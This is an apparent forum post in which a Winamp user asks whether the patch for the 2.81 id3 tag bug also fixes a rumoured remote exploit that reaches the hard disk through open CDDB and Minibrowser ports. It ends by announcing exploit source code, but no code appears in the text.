Winamp & Shoutcast Forums

I've heard about the bug in Nullsoft's Winamp's id3 Tag & about the way to xplote it remotely (wich is quite simple, I must Say) & also heard about another xploit (which I've yet not tested) that would allow any malicious a**hole access to my hard disk and so my files, only knowing my Internet Port Address and wether if I'm using Winamp 2.81 or earlier versions. In the demostrative picture that appeared on the web page (To which i wont give out free publicity) was the command.com prompt of Windoze 98 on suposely the attacker's PC (Runing Linux MDK 9), such as we see it on ours. This preocupates me 'cuz it's xtremely simple to gain full access wether the machine is protected or not 'cuz people like me WOULD leave CDDB and OF COURSE Minibrowser ports open on their firewalls, so winamp can connect. So my cuestion is: Does the newer version of Winamp 2.81 (tha one that fixes the id3 tag bug) fixes the bug that I've just described ??? If So, Please reply, If it doesn't, Please reply, If you've never heard about this exploit, Please reply and if you just want to tell me what a f*cker I am, Please reply :D

P.D.: Here is the source code of the xploit:
